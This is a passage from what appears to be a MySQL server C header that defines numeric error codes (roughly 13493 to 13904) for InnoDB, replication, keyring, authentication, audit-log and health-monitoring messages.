ER_WARN_UNKNOWN_KEYRING_AWS_REGION 13493 #define ER_WARN_LOG_PRIVILEGE_CHECKS_USER_DOES_NOT_EXIST 13494 #define ER_WARN_LOG_PRIVILEGE_CHECKS_USER_CORRUPT 13495 #define ER_WARN_LOG_PRIVILEGE_CHECKS_USER_NEEDS_RPL_APPLIER_PRIV 13496 #define ER_OBSOLETE_FILE_PRIVILEGE_FOR_REPLICATION_CHECKS 13497 #define ER_RPL_REPLICA_SQL_THREAD_STARTING_WITH_PRIVILEGE_CHECKS 13498 #define ER_AUDIT_LOG_CANNOT_GENERATE_PASSWORD 13499 #define ER_INIT_FAILED_TO_GENERATE_ROOT_PASSWORD 13500 #define ER_PLUGIN_LOAD_OPTIONS_IGNORED 13501 #define ER_WARN_AUTH_ID_WITH_SYSTEM_USER_PRIV_IN_MANDATORY_ROLES 13502 #define ER_IB_MSG_SKIP_HIDDEN_DIR 13503 #define ER_WARN_RPL_RECOVERY_NO_ROTATE_EVENT_FROM_SOURCE_EOF 13504 #define ER_IB_LOB_ROLLBACK_INDEX_LEN 13505 #define ER_CANT_PROCESS_EXPRESSION_FOR_GENERATED_COLUMN_TO_DD 13506 #define ER_RPL_REPLICA_QUEUE_EVENT_FAILED_INVALID_NON_ROW_FORMAT 13507 #define ER_OBSOLETE_REQUIRE_ROW_FORMAT_VIOLATION 13508 #define ER_LOG_PRIV_CHECKS_REQUIRE_ROW_FORMAT_NOT_SET 13509 #define ER_RPL_REPLICA_SQL_THREAD_DETECTED_UNEXPECTED_EVENT_SEQUENCE 13510 #define ER_IB_MSG_UPGRADE_PARTITION_FILE 13511 #define ER_IB_MSG_DOWNGRADE_PARTITION_FILE 13512 #define ER_IB_MSG_UPGRADE_PARTITION_FILE_IMPORT 13513 #define ER_IB_WARN_OPEN_PARTITION_FILE 13514 #define ER_IB_MSG_FIL_STATE_MOVED_CORRECTED 13515 #define ER_IB_MSG_FIL_STATE_MOVED_CHANGED_PATH 13516 #define ER_IB_MSG_FIL_STATE_MOVED_CHANGED_NAME 13517 #define ER_IB_MSG_FIL_STATE_MOVED_TOO_MANY 13518 #define ER_GR_ELECTED_PRIMARY_GTID_INFORMATION 13519 #define ER_SCHEMA_NAME_IN_UPPER_CASE_NOT_ALLOWED 13520 #define ER_TABLE_NAME_IN_UPPER_CASE_NOT_ALLOWED 13521 #define ER_SCHEMA_NAME_IN_UPPER_CASE_NOT_ALLOWED_FOR_FK 13522 #define ER_TABLE_NAME_IN_UPPER_CASE_NOT_ALLOWED_FOR_FK 13523 #define ER_IB_MSG_DICT_PARTITION_NOT_FOUND 13524 #define ER_ACCESS_DENIED_FOR_USER_ACCOUNT_BLOCKED_BY_PASSWORD_LOCK 13525 #define ER_INNODB_OUT_OF_RESOURCES 13526 #define ER_DD_UPGRADE_FOUND_PREPARED_XA_TRANSACTION 13527 #define ER_MIGRATE_TABLE_TO_DD_OOM 13528 #define ER_RPL_RELAY_LOG_RECOVERY_INFO_AFTER_CLONE 13529 #define ER_IB_MSG_57_UNDO_SPACE_DELETE_FAIL 13530 #define ER_IB_MSG_DBLWR_1285 13531 #define ER_IB_MSG_DBLWR_1286 13532 #define ER_IB_MSG_DBLWR_1287 13533 #define ER_IB_MSG_DBLWR_1288 13534 #define ER_IB_MSG_DBLWR_1290 13535 #define ER_IB_MSG_BAD_DBLWR_FILE_NAME 13536 //#define OBSOLETE_ER_IB_MSG_DBLWR_1292 13537 #define ER_IB_MSG_DBLWR_1293 13538 #define ER_IB_MSG_DBLWR_1294 13539 #define ER_IB_MSG_DBLWR_1295 13540 #define ER_IB_MSG_DBLWR_1296 13541 #define ER_IB_MSG_DBLWR_1297 13542 #define ER_IB_MSG_DBLWR_1298 13543 #define ER_IB_MSG_DBLWR_1300 13544 #define ER_IB_MSG_DBLWR_1301 13545 #define ER_IB_MSG_DBLWR_1304 13546 #define ER_IB_MSG_DBLWR_1305 13547 #define ER_IB_MSG_DBLWR_1306 13548 #define ER_IB_MSG_DBLWR_1307 13549 #define ER_IB_MSG_DBLWR_1308 13550 #define ER_IB_MSG_DBLWR_1309 13551 #define ER_IB_MSG_DBLWR_1310 13552 #define ER_IB_MSG_DBLWR_1311 13553 #define ER_IB_MSG_DBLWR_1312 13554 #define ER_IB_MSG_DBLWR_1313 13555 #define ER_IB_MSG_DBLWR_1314 13556 #define ER_IB_MSG_DBLWR_1315 13557 #define ER_IB_MSG_DBLWR_1316 13558 #define ER_IB_MSG_DBLWR_1317 13559 #define ER_IB_MSG_DBLWR_1318 13560 #define ER_IB_MSG_DBLWR_1319 13561 #define ER_IB_MSG_DBLWR_1320 13562 #define ER_IB_MSG_DBLWR_1321 13563 #define ER_IB_MSG_DBLWR_1322 13564 #define ER_IB_MSG_DBLWR_1323 13565 #define ER_IB_MSG_DBLWR_1324 13566 #define ER_IB_MSG_DBLWR_1325 13567 #define ER_IB_MSG_DBLWR_1326 13568 #define ER_IB_MSG_DBLWR_1327 13569 #define ER_IB_MSG_GTID_FLUSH_AT_SHUTDOWN 13570 #define ER_IB_MSG_57_STAT_SPACE_DELETE_FAIL 13571 #define ER_NDBINFO_UPGRADING_SCHEMA 13572 #define ER_NDBINFO_NOT_UPGRADING_SCHEMA 13573 #define ER_NDBINFO_UPGRADING_SCHEMA_FAIL 13574 //#define OBSOLETE_ER_IB_MSG_CREATE_LOG_FILE 13575 #define ER_IB_MSG_INNODB_START_INITIALIZE 13576 #define ER_IB_MSG_INNODB_END_INITIALIZE 13577 #define ER_IB_MSG_PAGE_ARCH_NO_RESET_POINTS 13578 #define ER_IB_WRN_PAGE_ARCH_FLUSH_DATA 13579 #define ER_IB_ERR_PAGE_ARCH_INVALID_DOUBLE_WRITE_BUF 13580 #define ER_IB_ERR_PAGE_ARCH_RECOVERY_FAILED 13581 #define ER_IB_ERR_PAGE_ARCH_INVALID_FORMAT 13582 #define ER_INVALID_XPLUGIN_SOCKET_SAME_AS_SERVER 13583 #define ER_INNODB_UNABLE_TO_ACQUIRE_DD_OBJECT 13584 #define ER_WARN_LOG_DEPRECATED_PARTITION_PREFIX_KEY 13585 #define ER_IB_MSG_UNDO_TRUNCATE_TOO_OFTEN 13586 #define ER_GRP_RPL_IS_STARTING 13587 #define ER_IB_MSG_INVALID_LOCATION_FOR_TABLESPACE 13588 #define ER_IB_MSG_INVALID_LOCATION_WRONG_DB 13589 #define ER_IB_MSG_CANNOT_FIND_DD_UNDO_SPACE 13590 #define ER_GRP_RPL_RECOVERY_ENDPOINT_FORMAT 13591 #define ER_GRP_RPL_RECOVERY_ENDPOINT_INVALID 13592 #define ER_GRP_RPL_RECOVERY_ENDPOINT_INVALID_DONOR_ENDPOINT 13593 #define ER_GRP_RPL_RECOVERY_ENDPOINT_INTERFACES_IPS 13594 #define ER_WARN_TLS_CHANNEL_INITIALIZATION_ERROR 13595 #define ER_XPLUGIN_FAILED_TO_VALIDATE_ADDRESS 13596 #define ER_XPLUGIN_FAILED_TO_BIND_INTERFACE_ADDRESS 13597 #define ER_IB_ERR_RECOVERY_REDO_DISABLED 13598 #define ER_IB_WRN_FAST_SHUTDOWN_REDO_DISABLED 13599 //#define OBSOLETE_ER_IB_WRN_REDO_DISABLED 13600 #define ER_IB_WRN_REDO_ENABLED 13601 #define ER_TLS_CONFIGURED_FOR_CHANNEL 13602 #define ER_TLS_CONFIGURATION_REUSED 13603 #define ER_IB_TABLESPACE_PATH_VALIDATION_SKIPPED 13604 #define ER_IB_CANNOT_UPGRADE_WITH_DISCARDED_TABLESPACES 13605 #define ER_USERNAME_TRUNKATED 13606 #define ER_HOSTNAME_TRUNKATED 13607 #define ER_IB_MSG_TRX_RECOVERY_ROLLBACK_NOT_COMPLETED 13608 #define ER_AUTHCACHE_ROLE_EDGES_IGNORED_EMPTY_NAME 13609 #define ER_AUTHCACHE_ROLE_EDGES_UNKNOWN_AUTHORIZATION_ID 13610 #define ER_AUTHCACHE_DEFAULT_ROLES_IGNORED_EMPTY_NAME 13611 #define ER_AUTHCACHE_DEFAULT_ROLES_UNKNOWN_AUTHORIZATION_ID 13612 #define ER_IB_ERR_DDL_LOG_INSERT_FAILURE 13613 #define ER_IB_LOCK_VALIDATE_LATCH_ORDER_VIOLATION 13614 #define ER_IB_RELOCK_LATCH_ORDER_VIOLATION 13615 //#define OBSOLETE_ER_IB_MSG_1352 13616 //#define OBSOLETE_ER_IB_MSG_1353 13617 //#define OBSOLETE_ER_IB_MSG_1354 13618 //#define OBSOLETE_ER_IB_MSG_1355 13619 //#define OBSOLETE_ER_IB_MSG_1356 13620 #define ER_IB_MSG_1357 13621 #define ER_IB_MSG_1358 13622 #define ER_IB_MSG_1359 13623 #define ER_IB_FAILED_TO_DELETE_TABLESPACE_FILE 13624 #define ER_IB_UNABLE_TO_EXPAND_TEMPORARY_TABLESPACE_POOL 13625 #define ER_IB_TMP_TABLESPACE_CANNOT_CREATE_DIRECTORY 13626 #define ER_IB_MSG_SCANNING_TEMP_TABLESPACE_DIR 13627 #define ER_IB_ERR_TEMP_TABLESPACE_DIR_DOESNT_EXIST 13628 #define ER_IB_ERR_TEMP_TABLESPACE_DIR_EMPTY 13629 #define ER_IB_ERR_TEMP_TABLESPACE_DIR_CONTAINS_SEMICOLON 13630 #define ER_IB_ERR_TEMP_TABLESPACE_DIR_SUBDIR_OF_DATADIR 13631 #define ER_IB_ERR_SCHED_SETAFFNINITY_FAILED 13632 #define ER_IB_ERR_UNKNOWN_PAGE_FETCH_MODE 13633 #define ER_IB_ERR_LOG_PARSING_BUFFER_OVERFLOW 13634 #define ER_IB_ERR_NOT_ENOUGH_MEMORY_FOR_PARSE_BUFFER 13635 #define ER_IB_MSG_1372 13636 #define ER_IB_MSG_1373 13637 #define ER_IB_MSG_1374 13638 #define ER_IB_MSG_1375 13639 #define ER_IB_ERR_ZLIB_UNCOMPRESS_FAILED 13640 #define ER_IB_ERR_ZLIB_BUF_ERROR 13641 #define ER_IB_ERR_ZLIB_MEM_ERROR 13642 #define ER_IB_ERR_ZLIB_DATA_ERROR 13643 #define ER_IB_ERR_ZLIB_UNKNOWN_ERROR 13644 #define ER_IB_MSG_1381 13645 #define ER_IB_ERR_INDEX_RECORDS_WRONG_ORDER 13646 #define ER_IB_ERR_INDEX_DUPLICATE_KEY 13647 #define ER_IB_ERR_FOUND_N_DUPLICATE_KEYS 13648 #define ER_IB_ERR_FOUND_N_RECORDS_WRONG_ORDER 13649 #define ER_IB_ERR_PARALLEL_READ_OOM 13650 #define ER_IB_MSG_UNDO_MARKED_ACTIVE 13651 #define ER_IB_MSG_UNDO_ALTERED_ACTIVE 13652 #define ER_IB_MSG_UNDO_ALTERED_INACTIVE 13653 #define ER_IB_MSG_UNDO_MARKED_EMPTY 13654 #define ER_IB_MSG_UNDO_TRUNCATE_DELAY_BY_CLONE 13655 #define ER_IB_MSG_UNDO_TRUNCATE_DELAY_BY_MDL 13656 #define ER_IB_MSG_INJECT_CRASH 13657 #define ER_IB_MSG_INJECT_FAILURE 13658 #define ER_GRP_RPL_TIMEOUT_RECEIVED_VC_LEAVE_ON_REJOIN 13659 #define ER_RPL_ASYNC_RECONNECT_FAIL_NO_SOURCE 13660 #define ER_UDF_REGISTER_SERVICE_ERROR 13661 #define ER_UDF_REGISTER_ERROR 13662 #define ER_UDF_UNREGISTER_ERROR 13663 #define ER_EMPTY_PRIVILEGE_NAME_IGNORED 13664 #define ER_IB_MSG_INCORRECT_SIZE 13665 #define ER_TMPDIR_PATH_TOO_LONG 13666 #define ER_ERROR_LOG_DESTINATION_NOT_A_FILE 13667 #define ER_NO_ERROR_LOG_PARSER_CONFIGURED 13668 #define ER_UPGRADE_NONEXISTENT_SCHEMA 13669 #define ER_IB_MSG_CREATED_UNDO_SPACE 13670 #define ER_IB_MSG_DROPPED_UNDO_SPACE 13671 #define ER_IB_MSG_MASTER_KEY_ROTATED 13672 #define ER_IB_DBLWR_DECOMPRESS_FAILED 13673 #define ER_IB_DBLWR_DECRYPT_FAILED 13674 #define ER_IB_DBLWR_KEY_MISSING 13675 #define ER_INNODB_IO_WRITE_ERROR_RETRYING 13676 #define ER_INNODB_IO_WRITE_FAILED 13677 #define ER_LOG_COMPONENT_CANNOT_INIT 13678 #define ER_RPL_ASYNC_CHANNEL_CANT_CONNECT 13679 #define ER_RPL_ASYNC_SENDER_ADDED 13680 #define ER_RPL_ASYNC_SENDER_REMOVED 13681 #define ER_RPL_ASYNC_CHANNEL_STOPPED_QUORUM_LOST 13682 #define ER_RPL_ASYNC_CHANNEL_CANT_CONNECT_NO_QUORUM 13683 #define ER_RPL_ASYNC_EXECUTING_QUERY 13684 #define ER_RPL_REPLICA_MONITOR_IO_THREAD_EXITING 13685 #define ER_RPL_ASYNC_MANAGED_NAME_REMOVED 13686 #define ER_RPL_ASYNC_MANAGED_NAME_ADDED 13687 #define ER_RPL_ASYNC_READ_FAILOVER_TABLE 13688 #define ER_RPL_REPLICA_MONITOR_IO_THREAD_RECONNECT_CHANNEL 13689 #define ER_REPLICA_ANON_TO_GTID_IS_LOCAL_OR_UUID_AND_GTID_MODE_NOT_ON 13690 #define ER_REPLICA_ANONYMOUS_TO_GTID_UUID_SAME_AS_GROUP_NAME 13691 #define ER_GRP_RPL_GRP_NAME_IS_SAME_AS_ANONYMOUS_TO_GTID_UUID 13692 #define ER_WARN_GTID_THRESHOLD_BREACH 13693 #define ER_HEALTH_INFO 13694 #define ER_HEALTH_WARNING 13695 #define ER_HEALTH_ERROR 13696 #define ER_HEALTH_WARNING_DISK_USAGE_LEVEL_1 13697 #define ER_HEALTH_WARNING_DISK_USAGE_LEVEL_2 13698 #define ER_HEALTH_WARNING_DISK_USAGE_LEVEL_3 13699 #define ER_IB_INNODB_TBSP_OUT_OF_SPACE 13700 #define ER_GRP_RPL_APPLIER_CHANNEL_STILL_RUNNING 13701 #define ER_RPL_ASYNC_RECONNECT_GTID_MODE_OFF_CHANNEL 13702 #define ER_FIREWALL_SERVICES_NOT_ACQUIRED 13703 #define ER_FIREWALL_UDF_REGISTER_FAILED 13704 #define ER_FIREWALL_PFS_TABLE_REGISTER_FAILED 13705 #define ER_IB_MSG_STATS_SAMPLING_TOO_LARGE 13706 #define ER_AUDIT_LOG_FILE_PRUNE_FAILED 13707 #define ER_AUDIT_LOG_FILE_AUTO_PRUNED 13708 #define ER_COMPONENTS_INFRASTRUCTURE_MANIFEST_INIT 13709 #define ER_COMPONENTS_INFRASTRUCTURE_MANIFEST_DEINIT 13710 #define ER_WARN_COMPONENTS_INFRASTRUCTURE_MANIFEST_NOT_RO 13711 #define ER_WARN_NO_KEYRING_COMPONENT_SERVICE_FOUND 13712 #define ER_NOTE_KEYRING_COMPONENT_INITIALIZED 13713 #define ER_KEYRING_COMPONENT_NOT_INITIALIZED 13714 #define ER_KEYRING_COMPONENT_EXCEPTION 13715 #define ER_KEYRING_COMPONENT_MEMORY_ALLOCATION_ERROR 13716 #define ER_NOTE_KEYRING_COMPONENT_AES_INVALID_MODE_BLOCK_SIZE 13717 #define ER_NOTE_KEYRING_COMPONENT_AES_DATA_IDENTIFIER_EMPTY 13718 #define ER_NOTE_KEYRING_COMPONENT_AES_INVALID_KEY 13719 #define ER_NOTE_KEYRING_COMPONENT_AES_OPERATION_ERROR 13720 #define ER_NOTE_KEYRING_COMPONENT_READ_DATA_NOT_FOUND 13721 #define ER_NOTE_KEYRING_COMPONENT_WRITE_MAXIMUM_DATA_LENGTH 13722 #define ER_NOTE_KEYRING_COMPONENT_STORE_FAILED 13723 #define ER_NOTE_KEYRING_COMPONENT_REMOVE_FAILED 13724 #define ER_NOTE_KEYRING_COMPONENT_GENERATE_FAILED 13725 #define ER_NOTE_KEYRING_COMPONENT_KEYS_METADATA_ITERATOR_FETCH_FAILED 13726 #define ER_NOTE_KEYRING_COMPONENT_METADATA_ITERATOR_INVALID_OUT_PARAM 13727 #define ER_IB_WRN_FAILED_TO_ACQUIRE_SERVICE 13728 #define ER_IB_WRN_OLD_GEOMETRY_TYPE 13729 #define ER_NET_WAIT_ERROR2 13730 #define ER_GRP_RPL_MEMBER_ACTION_TRIGGERED 13731 #define ER_GRP_RPL_MEMBER_ACTION_FAILURE_IGNORE 13732 #define ER_GRP_RPL_MEMBER_ACTION_FAILURE 13733 #define ER_GRP_RPL_MEMBER_ACTION_PARSE_ON_RECEIVE 13734 #define ER_GRP_RPL_MEMBER_ACTION_UPDATE_ACTIONS 13735 #define ER_GRP_RPL_MEMBER_ACTION_GET_EXCHANGEABLE_DATA 13736 #define ER_GRP_RPL_MEMBER_ACTION_DEFAULT_CONFIGURATION 13737 #define ER_GRP_RPL_MEMBER_ACTION_UNABLE_TO_SET_DEFAULT_CONFIGURATION 13738 #define ER_GRP_RPL_MEMBER_ACTION_PARSE_ON_MEMBER_JOIN 13739 #define ER_GRP_RPL_MEMBER_ACTION_UPDATE_ACTIONS_ON_MEMBER_JOIN 13740 #define ER_GRP_RPL_MEMBER_ACTION_INVALID_ACTIONS_ON_MEMBER_JOIN 13741 #define ER_GRP_RPL_MEMBER_ACTION_ENABLED 13742 #define ER_GRP_RPL_MEMBER_ACTION_DISABLED 13743 #define ER_GRP_RPL_MEMBER_ACTIONS_RESET 13744 //#define OBSOLETE_ER_DEPRECATED_TLS_VERSION_SESSION 13745 //#define OBSOLETE_ER_WARN_DEPRECATED_TLS_VERSION_FOR_CHANNEL 13746 #define ER_FIREWALL_DEPRECATED_USER_PROFILE 13747 #define ER_GRP_RPL_VIEW_CHANGE_UUID_INVALID 13748 #define ER_GRP_RPL_VIEW_CHANGE_UUID_SAME_AS_GROUP_NAME 13749 #define ER_GRP_RPL_GROUP_NAME_SAME_AS_VIEW_CHANGE_UUID 13750 #define ER_GRP_RPL_VIEW_CHANGE_UUID_IS_SAME_AS_ANONYMOUS_TO_GTID_UUID 13751 #define ER_GRP_RPL_GRP_VIEW_CHANGE_UUID_IS_INCOMPATIBLE_WITH_SERVER_UUID 13752 #define ER_GRP_RPL_VIEW_CHANGE_UUID_DIFF_FROM_GRP 13753 #define ER_WARN_REPLICA_ANONYMOUS_TO_GTID_UUID_SAME_AS_VIEW_CHANGE_UUID 13754 #define ER_GRP_RPL_FAILED_TO_PARSE_THE_VIEW_CHANGE_UUID 13755 #define ER_GRP_RPL_FAILED_TO_GENERATE_SIDNO_FOR_VIEW_CHANGE_UUID 13756 #define ER_GRP_RPL_VIEW_CHANGE_UUID_PARSE_ERROR 13757 #define ER_GRP_RPL_UPDATE_GRPGTID_VIEW_CHANGE_UUID_EXECUTED_ERROR 13758 #define ER_GRP_RPL_ADD_VIEW_CHANGE_UUID_TO_GRP_SID_MAP_ERROR 13759 #define ER_GRP_RPL_DONOR_VIEW_CHANGE_UUID_TRANS_INFO_ERROR 13760 #define ER_WARN_GRP_RPL_VIEW_CHANGE_UUID_FAIL_GET_VARIABLE 13761 #define ER_WARN_ADUIT_LOG_MAX_SIZE_AND_PRUNE_SECONDS_LOG 13762 #define ER_WARN_ADUIT_LOG_MAX_SIZE_CLOSE_TO_ROTATE_ON_SIZE_LOG 13763 #define ER_PLUGIN_INVALID_TABLE_DEFINITION 13764 #define ER_AUTH_KERBEROS_LOGGER_GENERIC_MSG 13765 #define ER_INSTALL_PLUGIN_CONFLICT_LOG 13766 #define ER_DEPRECATED_PERSISTED_VARIABLE_WITH_ALIAS 13767 #define ER_LOG_COMPONENT_FLUSH_FAILED 13768 #define ER_IB_MSG_REENCRYPTED_TABLESPACE_KEY 13769 #define ER_IB_MSG_REENCRYPTED_GENERAL_TABLESPACE_KEY 13770 #define ER_IB_ERR_PAGE_ARCH_DBLWR_INIT_FAILED 13771 #define ER_IB_MSG_RECOVERY_NO_SPACE_IN_REDO_LOG__SKIP_IBUF_MERGES 13772 #define ER_IB_MSG_RECOVERY_NO_SPACE_IN_REDO_LOG__UNEXPECTED 13773 #define ER_WARN_AUDIT_LOG_FORMAT_UNIX_TIMESTAMP_ONLY_WHEN_JSON_LOG 13774 #define ER_PREPARE_FOR_PRIMARY_ENGINE 13775 #define ER_IB_MSG_PAR_RSEG_INIT_COMPLETE_MSG 13776 #define ER_IB_MSG_PAR_RSEG_INIT_TIME_MSG 13777 #define ER_DDL_MSG_1 13778 #define ER_MTR_MSG_1 13779 #define ER_GRP_RPL_MYSQL_NETWORK_PROVIDER_CLIENT_ERROR_CONN_ERR 13780 #define ER_GRP_RPL_MYSQL_NETWORK_PROVIDER_CLIENT_ERROR_COMMAND_ERR 13781 #define ER_GRP_RPL_FAILOVER_CONF_GET_EXCHANGEABLE_DATA 13782 #define ER_GRP_RPL_FAILOVER_CONF_DEFAULT_CONFIGURATION 13783 #define ER_GRP_RPL_FAILOVER_CONF_UNABLE_TO_SET_DEFAULT_CONFIGURATION 13784 #define ER_GRP_RPL_FAILOVER_CONF_PARSE_ON_MEMBER_JOIN 13785 #define ER_GRP_RPL_FAILOVER_CONF_CHANNEL_DOES_NOT_EXIST 13786 #define ER_GRP_RPL_FAILOVER_REGISTER_MESSAGE_LISTENER_SERVICE 13787 #define ER_GRP_RPL_FAILOVER_PRIMARY_WITHOUT_MAJORITY 13788 #define ER_GRP_RPL_FAILOVER_PRIMARY_BACK_TO_MAJORITY 13789 #define ER_RPL_INCREMENTING_MEMBER_ACTION_VERSION 13790 #define ER_GRP_RPL_REPLICA_THREAD_ERROR_ON_SECONDARY_MEMBER 13791 #define ER_IB_MSG_CLONE_DDL_NTFN 13792 #define ER_IB_MSG_CLONE_DDL_APPLY 13793 #define ER_IB_MSG_CLONE_DDL_INVALIDATE 13794 #define ER_IB_MSG_UNDO_ENCRYPTION_INFO_LOADED 13795 #define ER_IB_WRN_ENCRYPTION_INFO_SIZE_MISMATCH 13796 #define ER_INVALID_AUTHENTICATION_POLICY 13797 #define ER_AUTHENTICATION_PLUGIN_REGISTRATION_FAILED 13798 #define ER_AUTHENTICATION_PLUGIN_REGISTRATION_INSUFFICIENT_BUFFER 13799 #define ER_AUTHENTICATION_PLUGIN_AUTH_DATA_CORRUPT 13800 #define ER_AUTHENTICATION_PLUGIN_SIGNATURE_CORRUPT 13801 #define ER_AUTHENTICATION_PLUGIN_VERIFY_SIGNATURE_FAILED 13802 #define ER_AUTHENTICATION_PLUGIN_OOM 13803 #define ER_AUTHENTICATION_PLUGIN_LOG 13804 #define ER_WARN_REPLICA_GTID_ONLY_AND_GTID_MODE_NOT_ON 13805 #define ER_WARN_L_DISABLE_GTID_ONLY_WITH_SOURCE_AUTO_POS_INVALID_POS 13806 #define ER_RPL_CANNOT_OPEN_RELAY_LOG 13807 #define ER_AUTHENTICATION_OCI_PLUGIN_NOT_INITIALIZED 13808 #define ER_AUTHENTICATION_OCI_PRIVATE_KEY_ERROR 13809 #define ER_AUTHENTICATION_OCI_DOWNLOAD_PUBLIC_KEY 13810 #define ER_AUTHENTICATION_OCI_IMDS 13811 #define ER_AUTHENTICATION_OCI_IAM 13812 #define ER_AUTHENTICATION_OCI_INVALID_AUTHENTICATION_STRING 13813 #define ER_AUTHENTICATION_OCI_NO_MATCHING_GROUPS 13814 #define ER_AUTHENTICATION_OCI_NO_GROUPS_FOUND 13815 #define ER_AUTHENTICATION_OCI_NONCE 13816 #define ER_HEALTH_WARNING_MEMORY_USAGE_LEVEL_1 13817 #define ER_HEALTH_WARNING_MEMORY_USAGE_LEVEL_2 13818 #define ER_HEALTH_WARNING_MEMORY_USAGE_LEVEL_3 13819 #define ER_GRP_RPL_SET_SINGLE_CONSENSUS_LEADER 13820 #define ER_GRP_RPL_ERROR_SET_SINGLE_CONSENSUS_LEADER 13821 #define ER_GRP_RPL_SET_MULTI_CONSENSUS_LEADER 13822 #define ER_GRP_RPL_ERROR_SET_MULTI_CONSENSUS_LEADER 13823 #define ER_GRP_RPL_PAXOS_SINGLE_LEADER_DIFF_FROM_GRP 13824 #define ER_MFA_USER_ATTRIBUTES_CORRUPT 13825 #define ER_MFA_PLUGIN_NOT_LOADED 13826 #define ER_WARN_DEPRECATED_CHARSET_OPTION 13827 #define ER_WARN_DEPRECATED_COLLATION_OPTION 13828 #define ER_REGEXP_MISSING_ICU_DATADIR 13829 #define ER_IB_WARN_MANY_NON_LRU_FILES_OPENED 13830 #define ER_IB_MSG_TRYING_TO_OPEN_FILE_FOR_LONG_TIME 13831 #define ER_GLOBAL_CONN_LIMIT 13832 #define ER_CONN_LIMIT 13833 #define ER_WARN_AUDIT_LOG_DISABLED 13834 #define ER_INVALID_TLS_VERSION 13835 #define ER_RPL_RELAY_LOG_RECOVERY_GTID_ONLY 13836 #define ER_KEYRING_OKV_STANDBY_SERVER_COUNT_EXCEEDED 13837 #define ER_WARN_MIGRATION_EMPTY_SOURCE_KEYRING 13838 #define ER_WARN_CANNOT_PERSIST_SENSITIVE_VARIABLES 13839 #define ER_CANNOT_INTERPRET_PERSISTED_SENSITIVE_VARIABLES 13840 #define ER_PERSISTED_VARIABLES_KEYRING_SUPPORT_REQUIRED 13841 #define ER_PERSISTED_VARIABLES_MASTER_KEY_NOT_FOUND 13842 #define ER_PERSISTED_VARIABLES_MASTER_KEY_CANNOT_BE_GENERATED 13843 #define ER_PERSISTED_VARIABLES_ENCRYPTION_FAILED 13844 #define ER_PERSISTED_VARIABLES_DECRYPTION_FAILED 13845 #define ER_PERSISTED_VARIABLES_LACK_KEYRING_SUPPORT 13846 #define ER_MY_MALLOC_USING_JEMALLOC 13847 #define ER_MY_MALLOC_USING_STD_MALLOC 13848 #define ER_MY_MALLOC_LOADLIBRARY_FAILED 13849 #define ER_MY_MALLOC_GETPROCADDRESS_FAILED 13850 #define ER_ACCOUNT_WITH_EXPIRED_PASSWORD 13851 #define ER_THREAD_POOL_PLUGIN_STARTED 13852 #define ER_THREAD_POOL_DEDICATED_LISTENERS_INVALID 13853 #define ER_IB_DBLWR_BYTES_INFO 13854 #define ER_IB_RDBLWR_BYTES_INFO 13855 #define ER_IB_MSG_LOG_FILE_IS_EMPTY 13856 #define ER_IB_MSG_LOG_FILE_TOO_SMALL 13857 #define ER_IB_MSG_LOG_FILE_TOO_BIG 13858 #define ER_IB_MSG_LOG_FILE_HEADER_READ_FAILED 13859 #define ER_IB_MSG_LOG_INIT_DIR_NOT_EMPTY_WONT_INITIALIZE 13860 #define ER_IB_MSG_LOG_INIT_DIR_LIST_FAILED 13861 #define ER_IB_MSG_LOG_INIT_DIR_MISSING_SUBDIR 13862 #define ER_IB_MSG_LOG_FILES_CREATED_BY_CLONE_AND_READ_ONLY_MODE 13863 #define ER_IB_MSG_LOG_WRITER_WRITE_FAILED 13864 //#define OBSOLETE_ER_IB_MSG_LOG_WRITER_WAIT_ON_NEW_LOG_FILE 13865 #define ER_IB_MSG_RECOVERY_CHECKPOINT_OUTSIDE_LOG_FILE 13866 #define ER_IB_MSG_LOG_WRITER_ENTERED_EXTRA_MARGIN 13867 #define ER_IB_MSG_LOG_WRITER_EXITED_EXTRA_MARGIN 13868 #define ER_IB_MSG_LOG_PARAMS_FILE_SIZE_UNUSED 13869 #define ER_IB_MSG_LOG_PARAMS_N_FILES_UNUSED 13870 #define ER_IB_MSG_LOG_UPGRADE_FORCED_RECV 13871 #define ER_IB_MSG_LOG_UPGRADE_IN_READ_ONLY_MODE 13872 #define ER_IB_MSG_LOG_UPGRADE_CLONED_DB 13873 #define ER_IB_MSG_LOG_UPGRADE_UNINITIALIZED_FILES 13874 #define ER_IB_MSG_LOG_UPGRADE_CORRUPTION__UNEXPECTED 13875 //#define OBSOLETE_ER_IB_MSG_LOG_UPGRADE_NON_PERSISTED_DD_METADATA 13876 //#define OBSOLETE_ER_IB_MSG_LOG_UPGRADE_FLUSH_FAILED__UNEXPECTED 13877 //#define OBSOLETE_ER_IB_MSG_LOG_FILES_RESIZE_ON_START_FAILED__UNEXPECTED 13878 #define ER_IB_MSG_LOG_FILE_FOREIGN_UUID 13879 #define ER_IB_MSG_LOG_FILE_INVALID_START_LSN 13880 #define ER_IB_MSG_LOG_FILE_INVALID_LSN_RANGES 13881 #define ER_IB_MSG_LOG_FILE_MISSING_FOR_ID 13882 #define ER_IB_MSG_LOG_CHECKPOINT_FOUND 13883 #define ER_IB_MSG_LOG_FILES_CAPACITY_CHANGED 13884 #define ER_IB_MSG_LOG_FILES_RESIZE_REQUESTED 13885 #define ER_IB_MSG_LOG_FILES_RESIZE_CANCELLED 13886 #define ER_IB_MSG_LOG_FILES_RESIZE_FINISHED 13887 #define ER_IB_MSG_LOG_FILES_UPGRADE 13888 #define ER_IB_MSG_LOG_FILE_MARK_CURRENT_AS_INCOMPLETE 13889 #define ER_IB_MSG_LOG_FILE_REMOVE_FAILED 13890 #define ER_IB_MSG_LOG_FILE_RENAME_ON_CREATE_FAILED 13891 #define ER_IB_MSG_LOG_FILES_CREATED_BY_UNKNOWN_CREATOR 13892 #define ER_IB_MSG_LOG_FILES_FOUND_MISSING 13893 #define ER_IB_MSG_LOG_FILE_FORMAT_TOO_NEW 13894 #define ER_IB_MSG_LOG_FILE_FORMAT_TOO_OLD 13895 #define ER_IB_MSG_LOG_FILE_DIFFERENT_FORMATS 13896 #define ER_IB_MSG_LOG_PRE_8_0_30_MISSING_FILE0 13897 #define ER_IB_MSG_LOG_PFS_ACQUIRE_SERVICES_FAILED 13898 #define ER_IB_MSG_LOG_PFS_CREATE_TABLES_FAILED 13899 #define ER_IB_MSG_LOG_FILE_TRUNCATE 13900 #define ER_IB_MSG_LOG_FILE_UNUSED_RESIZE_FAILED 13901 #define ER_IB_MSG_LOG_FILE_UNUSED_REMOVE_FAILED 13902 #define ER_IB_MSG_LOG_FILE_UNUSED_RENAME_FAILED 13903 #define ER_IB_MSG_LOG_FILE_UNUSED_MARK_AS_IN_USE_FAILED 13904 #define 